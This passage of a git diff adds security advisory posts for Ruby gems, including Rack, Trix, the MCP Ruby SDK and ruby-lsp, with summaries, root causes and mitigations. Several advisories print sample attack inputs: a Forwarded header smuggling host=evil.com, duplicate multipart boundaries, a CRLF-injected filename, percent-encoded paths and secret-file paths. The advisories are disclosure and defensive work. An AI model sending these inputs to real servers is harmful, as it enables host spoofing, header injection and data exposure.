+ Rails built-in sanitizer, are additionally protected because the
+ payload is neutralized on save.
+
+ This vulnerability shares its fix with GHSA-53p3-c7vp-4mcc.
+ Both are resolved by the StringPiece.fromJSON sanitization added
+ in 2.1.18. This advisory covers the paste and HTMLParser entry
+ vector, while GHSA-53p3-c7vp-4mcc covers the drag-and-drop path
+ through the fallback Level0InputController.
+
+ ## References
+
+ The vulnerability was responsibly reported by HackerOne
+ researcher newbiefromcoma.
+ cvss_v3: 4.6
+ patched_versions:
+ - ">= 2.1.18"
+ related:
+ url:
+ - https://rubygems.org/gems/action_text-trix/versions/2.1.18
+ - https://github.com/basecamp/trix/releases/tag/v2.1.18
+ - https://github.com/basecamp/trix/pull/1293
+ - https://github.com/advisories/GHSA-53p3-c7vp-4mcc
+ - https://github.com/basecamp/trix/security/advisories/GHSA-53g2-mvcc-q9x3
+ notes: |
+ - No CVE.
+ - cvss_v3 from GHSA
+ - date from gem releases page
+ - Unnknown HackerOne number
+---
diff --git a/advisories/_posts/2026-03-27-CVE-2026-33946.md b/advisories/_posts/2026-03-27-CVE-2026-33946.md
new file mode 100644
index 00000000..ef1a2d97
--- /dev/null
+++ b/advisories/_posts/2026-03-27-CVE-2026-33946.md
@@ -0,0 +1,62 @@
+---
+layout: advisory
+title: 'CVE-2026-33946 (mcp): MCP Ruby SDK - Insufficient Session Binding Allows SSE
+ Stream Hijacking via Session ID Replay'
+comments: false
+categories:
+- mcp
+advisory:
+ gem: mcp
+ cve: 2026-33946
+ ghsa: qvqr-5cv7-wh35
+ url: https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-qvqr-5cv7-wh35
+ title: MCP Ruby SDK - Insufficient Session Binding Allows SSE Stream Hijacking via
+ Session ID Replay
+ date: 2026-03-27
+ description: |-
+ ### Summary
+
+ The Ruby SDK's [streamable_http_transport.rb](https://github.com/modelcontextprotocol/ruby-sdk/blob/main/lib/mcp/server/transports/streamable_http_transport.rb)
+ implementation contains a session hijacking vulnerability. An attacker
+ who obtains a valid session ID can completely hijack the victim's
+ Server-Sent Events (SSE) stream and intercept all real-time data.
+
+ ### Details
+
+ **Root Cause**
+
+ The StreamableHTTPTransport implementation stores only one SSE stream
+ object per session ID and lacks:
+
+ - Session-to-user identity binding
+ - Ownership validation when establishing SSE connections
+ - Protection against multiple simultaneous connections to the same session
+
+ ### Impact
+
+ While the absence of user binding may not pose immediate risks if
+ session IDs are not used to store sensitive data or state, the
+ fundamental purpose of session IDs is to maintain stateful connections.
+ If the SDK or its consumers utilize session IDs for sensitive operations
+ without proper user binding controls, this creates a potential security
+ vulnerability. For example: In the case of the Ruby SDK, the attacker
+ was able to hijack the stream and receive all the tool responses
+ belonging to the victim. The tool responses can be sensitive
+ confidential data.
+ cvss_v3: 8.2
+ cvss_v4: 8.2
+ patched_versions:
+ - ">= 0.9.2"
+ related:
+ url:
+ - https://www.cve.org/CVERecord?id=CVE-2026-33946
+ - https://github.com/modelcontextprotocol/ruby-sdk/releases/tag/v0.9.2
+ - https://github.com/modelcontextprotocol/ruby-sdk/security/advisories/GHSA-qvqr-5cv7-wh35
+ - https://github.com/modelcontextprotocol/ruby-sdk/blob/main/examples/streamable_http_server.rb
+ - https://github.com/modelcontextprotocol/ruby-sdk/commit/db40143402d65b4fb6923cec42d2d72cb89b3874
+ - https://hackerone.com/reports/3556146
+ - https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.AspNetCore/SseHandler.cs#L93-L97
+ - https://github.com/modelcontextprotocol/go-sdk/blob/main/mcp/streamable.go#L281C1-L288C2
+ - https://github.com/modelcontextprotocol/python-sdk/blob/main/src/mcp/server/streamable_http.py#L680-L685
+ - https://github.com/advisories/GHSA-qvqr-5cv7-wh35
+---
diff --git a/advisories/_posts/2026-03-27-CVE-2026-34060.md b/advisories/_posts/2026-03-27-CVE-2026-34060.md
new file mode 100644
index 00000000..813c82e2
--- /dev/null
+++ b/advisories/_posts/2026-03-27-CVE-2026-34060.md
@@ -0,0 +1,65 @@
+---
+layout: advisory
+title: 'CVE-2026-34060 (ruby-lsp): Ruby LSP has arbitrary code execution through branch
+ setting'
+comments: false
+categories:
+- ruby-lsp
+advisory:
+ gem: ruby-lsp
+ cve: 2026-34060
+ ghsa: c4r5-fxqw-vh93
+ url: https://github.com/Shopify/ruby-lsp/security/advisories/GHSA-c4r5-fxqw-vh93
+ title: Ruby LSP has arbitrary code execution through branch setting
+ date: 2026-03-27
+ description: |-
+ ## Summary
+
+ The `rubyLsp.branch` VS Code workspace setting was interpolated without
+ sanitization into a generated Gemfile, allowing arbitrary Ruby code
+ execution when a user opens a project containing a malicious
+ `.vscode/settings.json`.
+
+ Other editors that support workspace setting that get automatically
+ applied upon opening the editor and trusting the workspace are also
+ impacted since the server is the component that performs the interpolation.
+
+ ## Details
+
+ The `branch` CLI argument passed to the `ruby-lsp` server was
+ interpolated in the generated `.ruby-lsp/Gemfile` without sanitization.
+ Editors that allow defining settings saved at the workspace level
+ (e.g.: `.vscode/settings.json`) that gets automatically applied open
+ the possibility to craft a malicious repository that once opened and
+ trusted in the editor would run arbitrary code.
+
+ ## Impact
+
+ Code execution with the privileges of the user who opens the malicious
+ project. Ruby LSP assumes workspace code is trusted and so opening
+ the editor on an untrusted workspace can lead to executing potentially
+ dangerous code.
+
+ ## Remediation
+
+ The `rubyLsp.branch` setting has been removed entirely. VS Code extensions
+ auto-update by default, so most users will receive the fix without
+ action. Users who have disabled auto-updates should update to extension
+ version >= 0.10.2.
+
+ The `branch` CLI flag was also entirely removed from the `ruby-lsp`
+ gem. For users that don't add `ruby-lsp` to their Gemfiles, the
+ server should auto-update. Users with the `ruby-lsp` in the Gemfile
+ and locked to a specific version should update to >= 0.26.9.
+ cvss_v2: 7.5
+ cvss_v3: 9.8
+ cvss_v4: 7.1
+ patched_versions:
+ - ">= 0.26.9"
+ related:
+ url:
+ - https://www.tenable.com/cve/CVE-2026-34060
+ - https://github.com/Shopify/ruby-lsp/security/advisories/GHSA-c4r5-fxqw-vh93
+ - https://github.com/Shopify/ruby-lsp/releases/tag/v0.26.9
+ - https://github.com/advisories/GHSA-c4r5-fxqw-vh93
+---
diff --git a/advisories/_posts/2026-03-29-GHSA-53p3-c7vp-4mcc.md b/advisories/_posts/2026-03-29-GHSA-53p3-c7vp-4mcc.md
new file mode 100644
index 00000000..093bdb3a
--- /dev/null
+++ b/advisories/_posts/2026-03-29-GHSA-53p3-c7vp-4mcc.md
@@ -0,0 +1,53 @@
+---
+layout: advisory
+title: 'GHSA-53p3-c7vp-4mcc (action_text-trix): Trix is vulnerable to XSS through
+ JSON deserialization bypass in drag-and-drop (Level0InputController)'
+comments: false
+categories:
+- action_text-trix
+advisory:
+ gem: action_text-trix
+ ghsa: 53p3-c7vp-4mcc
+ url: https://github.com/basecamp/trix/security/advisories/GHSA-53p3-c7vp-4mcc
+ title: Trix is vulnerable to XSS through JSON deserialization bypass in drag-and-drop
+ (Level0InputController)
+ date: 2026-03-29
+ description: |-
+ ### Impact
+
+ The Trix editor, in versions prior to 2.1.18, is vulnerable to XSS
+ when a crafted `application/x-trix-document` JSON payload is dropped
+ into the editor in environments using the fallback Level0InputController
+ (e.g., embedded WebViews lacking Input Events Level 2 support).
+
+ The `StringPiece.fromJSON` method trusted `href` attributes from the
+ JSON payload without sanitization. An attacker could craft a draggable
+ element containing a `javascript:` URI in the href attribute that,
+ when dropped into a vulnerable editor, would bypass DOMPurify
+ sanitization and inject executable JavaScript into the DOM.
+
+ Exploitation requires a specific environment (Level0InputController
+ fallback) and social engineering (victim must drag and drop
+ attacker-controlled content into the editor). Applications using
+ server-side HTML sanitization (such as Rails' built-in sanitizer)
+ are additionally protected, as the payload is neutralized on save.
+
+ ### Patches
+
+ Update Recommendation: Users should upgrade to Trix editor
+ version 2.1.18 or later.
+
+ ### References
+
+ The XSS vulnerability was responsibly reported by Hackerone
+ researcher [newbiefromcoma](https://hackerone.com/newbiefromcoma).
+ cvss_v4: 2.1
+ patched_versions:
+ - ">= 2.1.18"
+ related:
+ url:
+ - https://github.com/basecamp/trix/security/advisories/GHSA-53p3-c7vp-4mcc
+ - https://github.com/basecamp/trix/releases/tag/v2.1.18
+ - https://github.com/basecamp/trix/commit/9c0a993d9fc2ffe9d56b013b030bc238f9c0557c
+ - https://github.com/advisories/GHSA-53p3-c7vp-4mcc
+---
diff --git a/advisories/_posts/2026-04-02-CVE-2026-26961.md b/advisories/_posts/2026-04-02-CVE-2026-26961.md
new file mode 100644
index 00000000..2309fe53
--- /dev/null
+++ b/advisories/_posts/2026-04-02-CVE-2026-26961.md
@@ -0,0 +1,92 @@
+---
+layout: advisory
+title: 'CVE-2026-26961 (rack): Rack''s greedy multipart boundary parsing can cause
+ parser differentials and WAF bypass.'
+comments: false
+categories:
+- rack
+advisory:
+ gem: rack
+ cve: 2026-26961
+ ghsa: vgpv-f759-9wx3
+ url: https://github.com/rack/rack/security/advisories/GHSA-vgpv-f759-9wx3
+ title: Rack's greedy multipart boundary parsing can cause parser differentials and
+ WAF bypass.
+ date: 2026-04-02
+ description: |-
+ ## Summary
+
+ `Rack::Multipart::Parser` extracts the `boundary` parameter from
+ `multipart/form-data` using a greedy regular expression. When a
+ `Content-Type` header contains multiple `boundary` parameters,
+ Rack selects the last one rather than the first.
+
+ In deployments where an upstream proxy, WAF, or intermediary
+ interprets the first `boundary` parameter, this mismatch can
+ allow an attacker to smuggle multipart content past upstream
+ inspection and have Rack parse a different body structure than
+ the intermediary validated.
+
+ ## Details
+
+ Rack identifies the multipart boundary using logic equivalent to:
+
+ ```ruby
+ MULTIPART = %r|\Amultipart/.*boundary=\"?([^\";,]+)\"?|ni
+ ```
+
+ Because the expression is greedy, it matches the last `boundary=`
+ parameter in a header such as:
+
+ ```http
+ Content-Type: multipart/form-data; boundary=safe; boundary=malicious
+ ```
+
+ As a result, Rack parses the request body using `malicious`, while
+ another component may interpret the same header using `safe`.
+
+ This creates an interpretation conflict. If an upstream WAF or proxy
+ inspects multipart parts using the first boundary and Rack later
+ parses the body using the last boundary, a client may be able to
+ place malicious form fields or uploaded content in parts that Rack
+ accepts but the upstream component did not inspect as intended.
+
+ This issue is most relevant in layered deployments where security
+ decisions are made before the request reaches Rack.
+
+ ## Impact
+
+ Applications that accept `multipart/form-data` uploads behind an
+ inspecting proxy or WAF may be affected.
+
+ In such deployments, an attacker may be able to bypass upstream
+ filtering of uploaded files or form fields by sending a request
+ with multiple `boundary` parameters and relying on the intermediary
+ and Rack to parse the request differently.
+
+ The practical impact depends on deployment architecture. If no
+ upstream component relies on a different multipart interpretation,
+ this behavior may not provide meaningful additional attacker capability.
+
+ ## Mitigation
+
+ * Update to a patched version of Rack that rejects ambiguous multipart
+ `Content-Type` headers or parses duplicate `boundary` parameters
+ consistently.
+ * Reject requests containing multiple `boundary` parameters.
+ * Normalize or regenerate multipart metadata at the trusted edge
+ before forwarding requests to Rack.
+ * Avoid relying on upstream inspection of malformed multipart
+ requests unless duplicate parameter handling is explicitly
+ consistent across components.
+ cvss_v3: 3.7
+ patched_versions:
+ - "~> 2.2.23"
+ - "~> 3.1.21"
+ - ">= 3.2.6"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-26961
+ - https://github.com/rack/rack/security/advisories/GHSA-vgpv-f759-9wx3
+ - https://github.com/advisories/GHSA-vgpv-f759-9wx3
+---
diff --git a/advisories/_posts/2026-04-02-CVE-2026-26962.md b/advisories/_posts/2026-04-02-CVE-2026-26962.md
new file mode 100644
index 00000000..b848bd44
--- /dev/null
+++ b/advisories/_posts/2026-04-02-CVE-2026-26962.md
@@ -0,0 +1,90 @@
+---
+layout: advisory
+title: 'CVE-2026-26962 (rack): Rack''s improper unfolding of folded multipart headers
+ preserves CRLF in parsed parameter values'
+comments: false
+categories:
+- rack
+advisory:
+ gem: rack
+ cve: 2026-26962
+ ghsa: rx22-g9mx-qrhv
+ url: https://github.com/rack/rack/security/advisories/GHSA-rx22-g9mx-qrhv
+ title: Rack's improper unfolding of folded multipart headers preserves CRLF in parsed
+ parameter values
+ date: 2026-04-02
+ description: |-
+ ## Summary
+
+ `Rack::Multipart::Parser` unfolds folded multipart part headers
+ incorrectly. When a multipart header contains an obs-fold sequence,
+ Rack preserves the embedded CRLF in parsed parameter values such
+ as `filename` or `name` instead of removing the folded line break
+ during unfolding.
+
+ As a result, applications that later reuse those parsed values in
+ HTTP response headers may be vulnerable to downstream header
+ injection or response splitting.
+
+ ## Details
+
+ `Rack::Multipart::Parser` accepts folded multipart header values and
+ unfolds them during parsing. However, the unfolding behavior does
+ not fully remove the embedded line break sequence from the parsed value.
+
+ This means a multipart part header such as:
+
+ ```http
+ Content-Disposition: form-data; name="file"; filename="test\r
+ foo.txt"
+ ```
+
+ can result in a parsed parameter value that still contains CRLF characters.
+
+ The issue is not that Rack creates a second multipart header field.
+ Rather, the problem is that CRLF remains embedded in the parsed
+ metadata value after unfolding. If an application later uses that
+ value in a security-sensitive context, such as constructing an HTTP
+ response header, the preserved CRLF may alter downstream header parsing.
+
+ Affected values may include multipart parameters such as
+ `filename`, `name`, or similar parsed header attributes.
+
+ ## Impact
+
+ Applications that accept multipart form uploads may be affected if
+ they later reuse parsed multipart metadata in HTTP headers or other
+ header-sensitive contexts.
+
+ In affected deployments, an attacker may be able to supply a multipart
+ parameter value containing folded line breaks and cause downstream
+ header injection, response splitting, cache poisoning, or related
+ response parsing issues.
+
+ The practical impact depends on application behavior. If parsed
+ multipart metadata is not reused in HTTP headers, the issue may
+ be limited to incorrect parsing behavior rather than a direct
+ exploit path.
+
+ ## Mitigation
+
+ * Update to a patched version of Rack that removes CRLF correctly
+ when unfolding folded multipart header values.
+ * Avoid copying upload metadata such as `filename` directly into
+ HTTP response headers without sanitization.
+ * Sanitize or reject carriage return and line feed characters in
+ multipart-derived values before reusing them in response headers,
+ logs, or downstream protocol contexts.
+ * Where feasible, normalize uploaded filenames before storing or
+ reflecting them.
+ cvss_v3: 4.8
+ unaffected_versions:
+ - "< 3.2.0"
+ patched_versions:
+ - ">= 3.2.6"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-26962
+ - https://github.com/rack/rack/security/advisories/GHSA-rx22-g9mx-qrhv
+ - https://github.com/advisories/GHSA-rx22-g9mx-qrhv
+---
diff --git a/advisories/_posts/2026-04-02-CVE-2026-32762.md b/advisories/_posts/2026-04-02-CVE-2026-32762.md
new file mode 100644
index 00000000..38f518b6
--- /dev/null
+++ b/advisories/_posts/2026-04-02-CVE-2026-32762.md
@@ -0,0 +1,108 @@
+---
+layout: advisory
+title: 'CVE-2026-32762 (rack): Rack - Forwarded Header semicolon injection enables
+ Host and Scheme spoofing'
+comments: false
+categories:
+- rack
+advisory:
+ gem: rack
+ cve: 2026-32762
+ ghsa: qfgr-crr9-7r49
+ url: https://github.com/rack/rack/security/advisories/GHSA-qfgr-crr9-7r49
+ title: Rack - Forwarded Header semicolon injection enables Host and Scheme spoofing
+ date: 2026-04-02
+ description: |-
+ ## Summary
+
+ `Rack::Utils.forwarded_values` parses the RFC 7239 `Forwarded` header
+ by splitting on semicolons before handling quoted-string values.
+ Because quoted values may legally contain semicolons, a header such as:
+
+ ```http
+ Forwarded: for="127.0.0.1;host=evil.com;proto=https"
+ ```
+
+ can be interpreted by Rack as multiple `Forwarded` directives rather
+ than as a single quoted `for` value.
+
+ In deployments where an upstream proxy, WAF, or intermediary validates
+ or preserves quoted `Forwarded` values differently, this discrepancy
+ can allow an attacker to smuggle `host`, `proto`, `for`, or `by`
+ parameters through a single header value.
+
+ ## Details
+
+ `Rack::Utils.forwarded_values` processes the header using logic
+ equivalent to:
+
+ ```ruby
+ forwarded_header.split(';').each_with_object({}) do |field, values|
+ field.split(',').each do |pair|
+ pair = pair.split('=').map(&:strip).join('=')
+ return nil unless pair =~ /\A(by|for|host|proto)="?([^"]+)"?\Z/i
+ (values[$1.downcase.to_sym] ||= []) << $2
+ end
+ end
+ ```
+
+ The method splits on `;` before it parses individual `name=value`
+ pairs. This is inconsistent with RFC 7239, which permits quoted-string
+ values, and quoted strings may contain semicolons as literal content.
+
+ As a result, a header value such as:
+
+ ```http
+ Forwarded: for="127.0.0.1;host=evil.com;proto=https"
+ ```
+
+ is not treated as a single `for` value. Instead, Rack may interpret
+ it as if the client had supplied separate `for`, `host`, and `proto`
+ directives.
+
+ This creates an interpretation conflict when another component in
+ front of Rack treats the quoted value as valid literal content,
+ while Rack reparses it as multiple forwarding parameters.
+
+ ## Impact
+
+ Applications that rely on `Forwarded` to derive request metadata
+ may observe attacker-controlled values for `host`, `proto`, `for`,
+ or related URL components.
+
+ In affected deployments, this can lead to host or scheme spoofing
+ in derived values such as `req.host`, `req.scheme`, `req.base_url`,
+ or `req.url`. Applications that use those values for password reset
+ links, redirects, absolute URL generation, logging, IP-based
+ decisions, or backend requests may be vulnerable to downstream
+ security impact.
+
+ The practical security impact depends on deployment architecture.
+ If clients can already supply arbitrary trusted `Forwarded`
+ parameters directly, this bug may not add meaningful attacker
+ capability. The issue is most relevant where an upstream component
+ and Rack interpret the same `Forwarded` header differently.
+
+ ## Mitigation
+
+ * Update to a patched version of Rack that parses `Forwarded`
+ quoted-string values before splitting on parameter delimiters.
+ * Avoid trusting client-supplied `Forwarded` headers unless they
+ are normalized or regenerated by a trusted reverse proxy.
+ * Prefer stripping inbound `Forwarded` headers at the edge and
+ reconstructing them from trusted proxy metadata.
+ * Avoid using `req.host`, `req.scheme`, `req.base_url`, or
+ `req.url` for security-sensitive operations unless the forwarding
+ chain is explicitly trusted and validated.
+ cvss_v3: 4.8
+ unaffected_versions:
+ - "< 3.0.0.beta1"
+ patched_versions:
+ - "~> 3.1.21"
+ - ">= 3.2.6"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-32762
+ - https://github.com/rack/rack/security/advisories/GHSA-qfgr-crr9-7r49
+ - https://github.com/advisories/GHSA-qfgr-crr9-7r49
+---
diff --git a/advisories/_posts/2026-04-02-CVE-2026-34230.md b/advisories/_posts/2026-04-02-CVE-2026-34230.md
new file mode 100644
index 00000000..4cf6b4e6
--- /dev/null
+++ b/advisories/_posts/2026-04-02-CVE-2026-34230.md
@@ -0,0 +1,107 @@
+---
+layout: advisory
+title: 'CVE-2026-34230 (rack): Rack has quadratic complexity in Rack::Utils.select_best_encoding
+ via wildcard Accept-Encoding header'
+comments: false
+categories:
+- rack
+advisory:
+ gem: rack
+ cve: 2026-34230
+ ghsa: v569-hp3g-36wr
+ url: https://github.com/rack/rack/security/advisories/GHSA-v569-hp3g-36wr
+ title: Rack has quadratic complexity in Rack::Utils.select_best_encoding via wildcard
+ Accept-Encoding header
+ date: 2026-04-02
+ description: |-
+ ## Summary
+
+ `Rack::Utils.select_best_encoding` processes `Accept-Encoding` values
+ with quadratic time complexity when the header contains many
+ wildcard (`*`) entries. Because this method is used by `Rack::Deflater`
+ to choose a response encoding, an unauthenticated attacker can send
+ a single request with a crafted `Accept-Encoding` header and cause
+ disproportionate CPU consumption on the compression middleware path.
+
+ This results in a denial of service condition for applications
+ using `Rack::Deflater`.
+
+ ## Details
+
+ `Rack::Utils.select_best_encoding` expands parsed `Accept-Encoding`
+ values into a list of candidate encodings. When an entry is `*`,
+ the method computes the set of concrete encodings by subtracting
+ the encodings already present in the request:
+
+ ```ruby
+ if m == "*"
+ (available_encodings - accept_encoding.map(&:first)).each do |m2|
+ expanded_accept_encoding << [m2, q, preference]
+ end
+ else
+ expanded_accept_encoding << [m, q, preference]
+ end
+ ```
+
+ Because `accept_encoding.map(&:first)` is evaluated inside the loop,
+ it is recomputed for each wildcard entry. If the request contains
+ `N` wildcard entries, this produces repeated scans over the full
+ parsed header and causes quadratic behavior.
+
+ After expansion, the method also performs additional work over
+ `expanded_accept_encoding`, including per-entry deletion, which
+ further increases the cost for large inputs.
+
+ `Rack::Deflater` invokes this method for each request when the
+ middleware is enabled:
+
+ ```ruby
+ Utils.select_best_encoding(ENCODINGS, Utils.parse_encodings(accept_encoding))
+ ```
+
+ As a result, a client can trigger this expensive code path simply
+ by sending a large `Accept-Encoding` header containing many
+ repeated wildcard values.
+
+ For example, a request with an approximately 8 KB `Accept-Encoding`
+ header containing about 1,000 `*;q=0.5` entries can cause roughly
+ 170 ms of CPU time in a single request on the `Rack::Deflater`
+ path, compared to a negligible baseline for a normal header.
+
+ This issue is distinct from CVE-2024-26146. That issue concerned
+ regular expression denial of service during `Accept` header parsing,
+ whereas this issue arises later during encoding selection after
+ the header has already been parsed.
+
+ ## Impact
+
+ Any Rack application using `Rack::Deflater` may be affected.
+
+ An unauthenticated attacker can send requests with crafted
+ `Accept-Encoding` headers to trigger excessive CPU usage in the
+ encoding selection logic. Repeated requests can consume worker
+ time disproportionately and reduce application availability.
+
+ The attack does not require invalid HTTP syntax or large payload
+ bodies. A single header-sized request is sufficient to reach the
+ vulnerable code path.
+
+ ## Mitigation
+
+ * Update to a patched version of Rack in which encoding selection
+ does not repeatedly rescan the parsed header for wildcard entries.
+ * Avoid enabling `Rack::Deflater` on untrusted traffic.
+ * Apply request filtering or header size / format restrictions
+ at the reverse proxy or application boundary to limit abusive
+ `Accept-Encoding` values.
+ cvss_v3: 5.3
+ patched_versions:
+ - "~> 2.2.23"
+ - "~> 3.1.21"
+ - ">= 3.2.6"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-34230
+ - https://github.com/rack/rack/security/advisories/GHSA-v569-hp3g-36wr
+ - https://github.com/advisories/GHSA-v569-hp3g-36wr
+---
diff --git a/advisories/_posts/2026-04-02-CVE-2026-34763.md b/advisories/_posts/2026-04-02-CVE-2026-34763.md
new file mode 100644
index 00000000..c5d95bb7
--- /dev/null
+++ b/advisories/_posts/2026-04-02-CVE-2026-34763.md
@@ -0,0 +1,71 @@
+---
+layout: advisory
+title: 'CVE-2026-34763 (rack): Rack has a root directory disclosure via unescaped
+ regex interpolation in Rack::Directory'
+comments: false
+categories:
+- rack
+advisory:
+ gem: rack
+ cve: 2026-34763
+ ghsa: 7mqq-6cf9-v2qp
+ url: https://github.com/rack/rack/security/advisories/GHSA-7mqq-6cf9-v2qp
+ title: Rack has a root directory disclosure via unescaped regex interpolation in
+ Rack::Directory
+ date: 2026-04-02
+ description: |-
+ ## Summary
+
+ `Rack::Directory` interpolates the configured `root` path directly
+ into a regular expression when deriving the displayed directory path.
+ If `root` contains regex metacharacters such as `+`, `*`, or `.`,
+ the prefix stripping can fail and the generated directory listing
+ may expose the full filesystem path in the HTML output.
+
+ ## Details
+
+ `Rack::Directory::DirectoryBody#each` computes the visible path
+ using code equivalent to:
+
+ ```ruby
+ show_path = Utils.escape_html(path.sub(/\A#{root}/, ''))
+ ```
+
+ Here, `root` is a developer-configured filesystem path. It is
+ normalized earlier with `File.expand_path(root)` and then inserted
+ directly into a regular expression without escaping.
+
+ Because the value is treated as regex syntax rather than as a
+ literal string, metacharacters in the configured path can change
+ how the prefix match behaves. When that happens, the expected root
+ prefix is not removed from `path`, and the absolute filesystem path
+ is rendered into the HTML directory listing.
+
+ ## Impact
+
+ If `Rack::Directory` is configured to serve a directory whose
+ absolute path contains regex metacharacters, the generated directory
+ listing may disclose the full server filesystem path instead of
+ only the request-relative path.
+
+ This can expose internal deployment details such as directory
+ layout, usernames, mount points, or naming conventions that would
+ otherwise not be visible to clients.
+
+ ## Mitigation
+
+ * Update to a patched version of Rack in which the root prefix
+ is removed using an escaped regular expression.
+ * Avoid using `Rack::Directory` with a root path that contains
+ regular expression metacharacters.
+ cvss_v3: 5.3
+ patched_versions:
+ - "~> 2.2.23"
+ - "~> 3.1.21"
+ - ">= 3.2.6"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-34763
+ - https://github.com/rack/rack/security/advisories/GHSA-7mqq-6cf9-v2qp
+ - https://github.com/advisories/GHSA-7mqq-6cf9-v2qp
+---
diff --git a/advisories/_posts/2026-04-02-CVE-2026-34785.md b/advisories/_posts/2026-04-02-CVE-2026-34785.md
new file mode 100644
index 00000000..43fcb360
--- /dev/null
+++ b/advisories/_posts/2026-04-02-CVE-2026-34785.md
@@ -0,0 +1,95 @@
+---
+layout: advisory
+title: 'CVE-2026-34785 (rack): Rack::Static prefix matching can expose unintended
+ files under the static root'
+comments: false
+categories:
+- rack
+advisory:
+ gem: rack
+ cve: 2026-34785
+ ghsa: h2jq-g4cq-5ppq
+ url: https://github.com/rack/rack/security/advisories/GHSA-h2jq-g4cq-5ppq
+ title: Rack::Static prefix matching can expose unintended files under the static
+ root
+ date: 2026-04-02
+ description: |-
+ ## Summary
+
+ `Rack::Static` determines whether a request should be served as a
+ static file using a simple string prefix check. When configured
+ with URL prefixes such as `"/css"`, it matches any request path
+ that begins with that string, including unrelated paths such as
+ `"/css-config.env"` or `"/css-backup.sql"`.
+
+ As a result, files under the static root whose names merely share
+ the configured prefix may be served unintentionally, leading to
+ information disclosure.
+
+ ## Details
+
+ `Rack::Static#route_file` performs static-route matching using
+ logic equivalent to:
+
+ ```ruby
+ @urls.any? { |url| path.index(url) == 0 }
+ ```
+
+ This checks only whether the request path starts with the configured
+ prefix string. It does not require a path segment boundary after the prefix.
+
+ For example, with:
+
+ ```ruby
+ use Rack::Static, urls: ["/css", "/js"], root: "public"
+ ```
+
+ the following path is matched as intended:
+
+ ```text
+ /css/style.css
+ ```
+
+ but these paths are also matched:
+
+ ```text
+ /css-config.env
+ /css-backup.sql
+ /csssecrets.yml
+ ```
+
+ If such files exist under the configured static root, Rack forwards
+ the request to the file server and serves them as static content.
+
+ This means a configuration intended to expose only directory trees
+ such as `/css/...` and `/js/...` may also expose sibling files
+ whose names begin with those same strings.
+
+ ## Impact
+
+ An attacker can request files under the configured static root whose
+ names share a configured URL prefix and obtain their contents.
+
+ In affected deployments, this may expose configuration files,
+ secrets, backups, environment files, or other unintended static
+ content located under the same root directory.
+
+ ## Mitigation
+
+ * Update to a patched version of Rack that enforces a path boundary
+ when matching configured static URL prefixes.
+ * Match only paths that are either exactly equal to the configured
+ prefix or begin with `prefix + "/"`.
+ * Avoid placing sensitive files under the `Rack::Static` root directory.
+ * Prefer static URL mappings that cannot overlap with sensitive filenames.
+ cvss_v3: 7.5
+ patched_versions:
+ - "~> 2.2.23"
+ - "~> 3.1.21"
+ - ">= 3.2.6"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-34785
+ - https://github.com/rack/rack/security/advisories/GHSA-h2jq-g4cq-5ppq
+ - https://github.com/advisories/GHSA-h2jq-g4cq-5ppq
+---
diff --git a/advisories/_posts/2026-04-02-CVE-2026-34786.md b/advisories/_posts/2026-04-02-CVE-2026-34786.md
new file mode 100644
index 00000000..0b77a140
--- /dev/null
+++ b/advisories/_posts/2026-04-02-CVE-2026-34786.md
@@ -0,0 +1,97 @@
+---
+layout: advisory
+title: 'CVE-2026-34786 (rack): Rack:: Static header_rules bypass via URL-encoded paths'
+comments: false
+categories:
+- rack
+advisory:
+ gem: rack
+ cve: 2026-34786
+ ghsa: q4qf-9j86-f5mh
+ url: https://github.com/rack/rack/security/advisories/GHSA-q4qf-9j86-f5mh
+ title: 'Rack:: Static header_rules bypass via URL-encoded paths'
+ date: 2026-04-02
+ description: |-
+ ## Summary
+
+ `Rack::Static#applicable_rules` evaluates several `header_rules`
+ types against the raw URL-encoded `PATH_INFO`, while the underlying
+ file-serving path is decoded before the file is served. As a result,
+ a request for a URL-encoded variant of a static path can serve
+ the same file without the headers that `header_rules` were intended to apply.
+
+ In deployments that rely on `Rack::Static` to attach security-relevant
+ response headers to static content, this can allow an attacker to
+ bypass those headers by requesting an encoded form of the path.
+
+ ## Details
+
+ `Rack::Static#applicable_rules` matches rule types such as `:fonts`,
+ `Array`, and `Regexp` directly against the incoming `PATH_INFO`. For example:
+
+ ```ruby
+ when :fonts
+ /\.(?:ttf|otf|eot|woff2|woff|svg)\z/.match?(path)
+ when Array
+ /\.(#{rule.join('|')})\z/.match?(path)
+ when Regexp
+ rule.match?(path)
+ ```
+
+ These checks operate on the raw request path. If the request contains
+ encoded characters such as `%2E` in place of `.`, the rule may fail
+ to match even though the file path is later decoded and served
+ successfully by the static file server.
+
+ For example, both of the following requests may resolve to the
+ same file on disk:
+
+ ```text
+ /fonts/test.woff
+ /fonts/test%2Ewoff
+ ```
+
+ but only the unencoded form may receive the headers configured
+ through `header_rules`.
+
+ This creates a canonicalization mismatch between the path used
+ for header policy decisions and the path ultimately used for file serving.
+
+ ## Impact
+
+ Applications that rely on `Rack::Static` `header_rules` to apply
+ security-relevant headers to static files may be affected.
+
+ In affected deployments, an attacker can request an encoded
+ variant of a static file path and receive the same file without
+ the intended headers. Depending on how `header_rules` are used,
+ this may bypass protections such as clickjacking defenses, content
+ restrictions, or other response policies applied to static content.
+
+ The practical impact depends on the configured rules and the types
+ of files being served. If `header_rules` are only used for
+ non-security purposes such as caching, the issue may have limited
+ security significance.
+
+ ## Mitigation
+
+ * Update to a patched version of Rack that applies `header_rules`
+ to a decoded path consistently with static file resolution.
+ * Do not rely solely on `Rack::Static` `header_rules` for
+ security-critical headers where encoded path variants may
+ reach the application.
+ * Prefer setting security headers at the reverse proxy or web server
+ layer so they apply consistently to both encoded and unencoded path forms.
+ * Normalize or reject encoded path variants for static content
+ at the edge, where feasible.
+ cvss_v3: 5.3
+ patched_versions:
+ - "~> 2.2.23"
+ - "~> 3.1.21"
+ - ">= 3.2.6"
+ related:
+ url:
+ - https://nvd.nist.gov/vuln/detail/CVE-2026-34786
+ - https://github.com/rack/rack/security/advisories/GHSA-q4qf-9j86-f5mh
+ - https://github.com/advisories/GHSA-q4qf-9j86-f5mh
+---
